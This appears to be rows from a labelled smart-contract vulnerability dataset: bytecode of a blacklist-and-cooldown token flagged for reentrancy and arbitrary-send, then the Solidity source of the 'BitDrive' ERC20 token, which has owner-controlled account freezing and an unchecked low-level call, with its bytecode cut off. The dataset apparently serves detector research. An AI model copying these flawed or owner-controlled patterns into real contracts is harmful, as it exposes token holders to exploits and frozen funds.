cf539739df2c5dacb4c659f2488d905080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506117e130600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166a52b7d2dcc80cd2e4000000611b25565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561182c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118509190613309565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118db9190613309565b6040518363ffffffff1660e01b81526004016118f8929190613336565b6020604051808303816000875af1158015611917573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061193b9190613309565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306119c4306110d8565b6000806119cf611274565b426040518863ffffffff1660e01b81526004016119f19695949392919061339a565b60606040518083038185885af1158015611a0f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611a349190613410565b505050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611ad6929190613463565b6020604051808303816000875af1158015611af5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b1991906134a1565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8c90613540565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bfc906135d2565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611ce39190612e6d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5790613664565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc7906136f6565b60405180910390fd5b60008111611e13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0a90613788565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e979061381a565b60405180910390fd5b6000611eaa611274565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f185750611ee8611274565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561253a57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc85750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561201e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561233a57601160009054906101000a900460ff16612072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206990613886565b60405180910390fd5b6010544214156120b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ae906138f2565b60405180910390fd5b42620151806010546120c99190613912565b111561212857600f546120db846110d8565b836120e69190613912565b1115612127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211e906139da565b60405180910390fd5b5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff166122025760405180604001604052806000815260200160011515815250600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055509050505b4260786010546122129190613912565b11156122ee57600e5482111561225d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225490613a46565b60405180910390fd5b600f4261226a9190613912565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154106122ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e490613ad8565b60405180910390fd5b5b42600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600190505b601160019054906101000a900460ff161580156123635750601160009054906101000a900460ff165b80156123bd5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561253957600f426123cf9190613912565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410612452576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244990613b6a565b60405180910390fd5b600061245d306110d8565b9050600081111561251a57601160029054906101000a900460ff1615612510576064600d546124ad600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166110d8565b6124b79190613b8a565b6124c19190613c13565b81111561250f576064600d546124f8600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166110d8565b6125029190613b8a565b61250c9190613c13565b90505b5b612519816126ec565b5b6000479050600081111561253257612531476125ff565b5b6000925050505b5b600060019050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806125e15750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156125eb57600090505b6125f88585858486612965565b5050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002836126489190613c13565b9081150290604051600060405180830381858888f19350505050158015612673573d6000803e3d6000fd5b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002836126bd9190613c13565b9081150290604051600060405180830381858888f193505050501580156126e8573d6000803e3d6000fd5b5050565b6001601160016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561272457612723613c44565b5b6040519080825280602002602001820160405280156127525781602001602082028036833780820191505090505b509050308160008151811061276a57612769613c73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612811573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128359190613309565b8160018151811061284957612848613c73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506128b030600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611b25565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612914959493929190613d60565b600060405180830381600087803b15801561292e57600080fd5b505af1158015612942573d6000803e3d6000fd5b50505050506000601160016101000a81548160ff02191690831515021790555050565b60006129718383612987565b905061297f868686846129b5565b505050505050565b6000806000905083156129ab5782156129a457600b5490506129aa565b600c5490505b5b8091505092915050565b6000806129c28484612b58565b9150915083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a11919061317c565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a9f9190613912565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612aeb81612b96565b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b489190612e6d565b60405180910390a3505050505050565b600080600060648486612b6b9190613b8a565b612b759190613c13565b905060008186612b85919061317c565b905080829350935050509250929050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612be19190613912565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612c61578082015181840152602081019050612c46565b83811115612c70576000848401525b50505050565b6000601f19601f8301169050919050565b6000612c9282612c27565b612c9c8185612c32565b9350612cac818560208601612c43565b612cb581612c76565b840191505092915050565b60006020820190508181036000830152612cda8184612c87565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612d1282612ce7565b9050919050565b612d2281612d07565b8114612d2d57600080fd5b50565b600081359050612d3f81612d19565b92915050565b600060208284031215612d5b57612d5a612ce2565b5b6000612d6984828501612d30565b91505092915050565b6000819050919050565b612d8581612d72565b8114612d9057600080fd5b50565b600081359050612da281612d7c565b92915050565b60008060408385031215612dbf57612dbe612ce2565b5b6000612dcd85828601612d30565b9250506020612dde85828601612d93565b9150509250929050565b60008115159050919050565b612dfd81612de8565b82525050565b6000602082019050612e186000830184612df4565b92915050565b60008060408385031215612e3557612e34612ce2565b5b6000612e4385828601612d93565b9250506020612e5485828601612d93565b9150509250929050565b612e6781612d72565b82525050565b6000602082019050612e826000830184612e5e565b92915050565b600080600060608486031215612ea157612ea0612ce2565b5b6000612eaf86828701612d30565b9350506020612ec086828701612d30565b9250506040612ed186828701612d93565b9150509250925092565b600060ff82169050919050565b612ef181612edb565b82525050565b6000602082019050612f0c6000830184612ee8565b92915050565b6000612f1d82612ce7565b9050919050565b612f2d81612f12565b82525050565b6000602082019050612f486000830184612f24565b92915050565b600060208284031215612f6457612f63612ce2565b5b6000612f7284828501612d93565b91505092915050565b612f8481612d07565b82525050565b6000602082019050612f9f6000830184612f7b565b92915050565b612fae81612de8565b8114612fb957600080fd5b50565b600081359050612fcb81612fa5565b92915050565b600060208284031215612fe757612fe6612ce2565b5b6000612ff584828501612fbc565b91505092915050565b6000806040838503121561301557613014612ce2565b5b600061302385828601612d30565b925050602061303485828601612d30565b9150509250929050565b6000819050919050565b600061306361305e61305984612ce7565b61303e565b612ce7565b9050919050565b600061307582613048565b9050919050565b60006130878261306a565b9050919050565b6130978161307c565b82525050565b60006020820190506130b2600083018461308e565b92915050565b60006040820190506130cd6000830185612e5e565b6130da6020830184612e5e565b9392505050565b7f706c73206e6f20626f7400000000000000000000000000000000000000000000600082015250565b6000613117600a83612c32565b9150613122826130e1565b602082019050919050565b600060208201905081810360008301526131468161310a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061318782612d72565b915061319283612d72565b9250828210156131a5576131a461314d565b5b828203905092915050565b7f526174652063616e2774206265207a65726f0000000000000000000000000000600082015250565b60006131e6601283612c32565b91506131f1826131b0565b602082019050919050565b60006020820190508181036000830152613215816131d9565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613252602083612c32565b915061325d8261321c565b602082019050919050565b6000602082019050818103600083015261328181613245565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006132be601783612c32565b91506132c982613288565b602082019050919050565b600060208201905081810360008301526132ed816132b1565b9050919050565b60008151905061330381612d19565b92915050565b60006020828403121561331f5761331e612ce2565b5b600061332d848285016132f4565b91505092915050565b600060408201905061334b6000830185612f7b565b6133586020830184612f7b565b9392505050565b6000819050919050565b600061338461337f61337a8461335f565b61303e565b612d72565b9050919050565b61339481613369565b82525050565b600060c0820190506133af6000830189612f7b565b6133bc6020830188612e5e565b6133c9604083018761338b565b6133d6606083018661338b565b6133e36080830185612f7b565b6133f060a0830184612e5e565b979650505050505050565b60008151905061340a81612d7c565b92915050565b60008060006060848603121561342957613428612ce2565b5b6000613437868287016133fb565b9350506020613448868287016133fb565b9250506040613459868287016133fb565b9150509250925092565b60006040820190506134786000830185612f7b565b6134856020830184612e5e565b9392505050565b60008151905061349b81612fa5565b92915050565b6000602082840312156134b7576134b6612ce2565b5b60006134c58482850161348c565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061352a602483612c32565b9150613535826134ce565b604082019050919050565b600060208201905081810360008301526135598161351d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006135bc602283612c32565b91506135c782613560565b604082019050919050565b600060208201905081810360008301526135eb816135af565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061364e602583612c32565b9150613659826135f2565b604082019050919050565b6000602082019050818103600083015261367d81613641565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006136e0602383612c32565b91506136eb82613684565b604082019050919050565b6000602082019050818103600083015261370f816136d3565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613772602983612c32565b915061377d82613716565b604082019050919050565b600060208201905081810360008301526137a181613765565b9050919050565b7f5472616e73666572206661696c65642c20626c61636b6c69737465642077616c60008201527f6c65742e00000000000000000000000000000000000000000000000000000000602082015250565b6000613804602483612c32565b915061380f826137a8565b604082019050919050565b60006020820190508181036000830152613833816137f7565b9050919050565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6000613870601883612c32565b915061387b8261383a565b602082019050919050565b6000602082019050818103600083015261389f81613863565b9050919050565b7f706c73206e6f20736e6970000000000000000000000000000000000000000000600082015250565b60006138dc600b83612c32565b91506138e7826138a6565b602082019050919050565b6000602082019050818103600083015261390b816138cf565b9050919050565b600061391d82612d72565b915061392883612d72565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561395d5761395c61314d565b5b828201905092915050565b7f596f752063616e2774206f776e2074686174206d616e7920746f6b656e73206160008201527f74206f6e63652e00000000000000000000000000000000000000000000000000602082015250565b60006139c4602783612c32565b91506139cf82613968565b604082019050919050565b600060208201905081810360008301526139f3816139b7565b9050919050565b7f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000600082015250565b6000613a30601b83612c32565b9150613a3b826139fa565b602082019050919050565b60006020820190508181036000830152613a5f81613a23565b9050919050565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ac2602283612c32565b9150613acd82613a66565b604082019050919050565b60006020820190508181036000830152613af181613ab5565b9050919050565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b6000613b54602383612c32565b9150613b5f82613af8565b604082019050919050565b60006020820190508181036000830152613b8381613b47565b9050919050565b6000613b9582612d72565b9150613ba083612d72565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613bd957613bd861314d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c1e82612d72565b9150613c2983612d72565b925082613c3957613c38613be4565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613cd781612d07565b82525050565b6000613ce98383613cce565b60208301905092915050565b6000602082019050919050565b6000613d0d82613ca2565b613d178185613cad565b9350613d2283613cbe565b8060005b83811015613d53578151613d3a8882613cdd565b9750613d4583613cf5565b925050600181019050613d26565b5085935050505092915050565b600060a082019050613d756000830188612e5e565b613d82602083018761338b565b8181036040830152613d948186613d02565b9050613da36060830185612f7b565b613db06080830184612e5e565b969550505050505056fea26469706673582212208deb06a773e9c75deff4f783aea7f6e5fc454a00ed9543fd3107b96a7daa98cd64736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,667 |
0x53066d18aa06c75eaa7f63d737fa945654961346 | pragma solidity ^0.4.16;
// BitDrive Smart contract based on the full ERC20 Token standard
// https://github.com/ethereum/EIPs/issues/20
// Verified Status: ERC20 Verified Token
// BITDRIVE tokens Symbol: BTD
contract BITDRIVEToken {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* BITDRIVE tokens Math operations with safety checks to avoid unnecessary conflicts
*/
library ABCMaths {
// Saftey Checks for Multiplication Tasks
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// Saftey Checks for Divison Tasks
function div(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
// Saftey Checks for Subtraction Tasks
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
// Saftey Checks for Addition Tasks
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract BTDStandardToken is BITDRIVEToken, Ownable {
using ABCMaths for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(balances[msg.sender] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack
//most of these things are not necesary
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(allowed[_from][msg.sender] >= _value) // Check allowance
&& (balances[_from] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack
//most of these things are not necesary
);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
/* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
// Notify anyone listening that this approval done
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract BITDRIVE is BTDStandardToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
uint256 constant public decimals = 8;
uint256 public totalSupply = 100 * (10**7) * 10**8 ; // 1 Billion tokens, 8 decimal places,
string constant public name = "BitDrive";
string constant public symbol = "BTD";
function BITDRIVE(){
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
} | 0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806318160ddd146101e057806323b872dd1461020b578063313ce5671461029057806370a08231146102bb57806379ba5097146103125780638da5cb5b1461032957806395d89b4114610380578063a9059cbb14610410578063b414d4b614610475578063cae9ca51146104d0578063d4ee1d901461057b578063dd62ed3e146105d2578063e724529c14610649578063f2fde38b14610698575b600080fd5b3480156100f757600080fd5b506101006106db565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610714565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b506101f561089b565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b50610276600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a1565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a5610d70565b6040518082815260200191505060405180910390f35b3480156102c757600080fd5b506102fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d75565b6040518082815260200191505060405180910390f35b34801561031e57600080fd5b50610327610dbe565b005b34801561033557600080fd5b5061033e610f1d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561038c57600080fd5b50610395610f43565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d55780820151818401526020810190506103ba565b50505050905090810190601f1680156104025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041c57600080fd5b5061045b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f7c565b604051808215151515815260200191505060405180910390f35b34801561048157600080fd5b506104b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b3565b604051808215151515815260200191505060405180910390f35b3480156104dc57600080fd5b50610561600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506112d3565b604051808215151515815260200191505060405180910390f35b34801561058757600080fd5b50610590611570565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105de57600080fd5b50610633600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611596565b6040518082815260200191505060405180910390f35b34801561065557600080fd5b50610696600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061161d565b005b3480156106a457600080fd5b506106d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611743565b005b6040805190810160405280600881526020017f426974447269766500000000000000000000000000000000000000000000000081525081565b6000808214806107a057506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156107ab57600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108fe5760009050610d69565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156109c9575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156109d55750600082115b8015610a0e5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610aaa5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aa783600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b10155b8015610abb57506044600036905010155b1515610ac657600080fd5b610b1882600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bad82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7f82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffff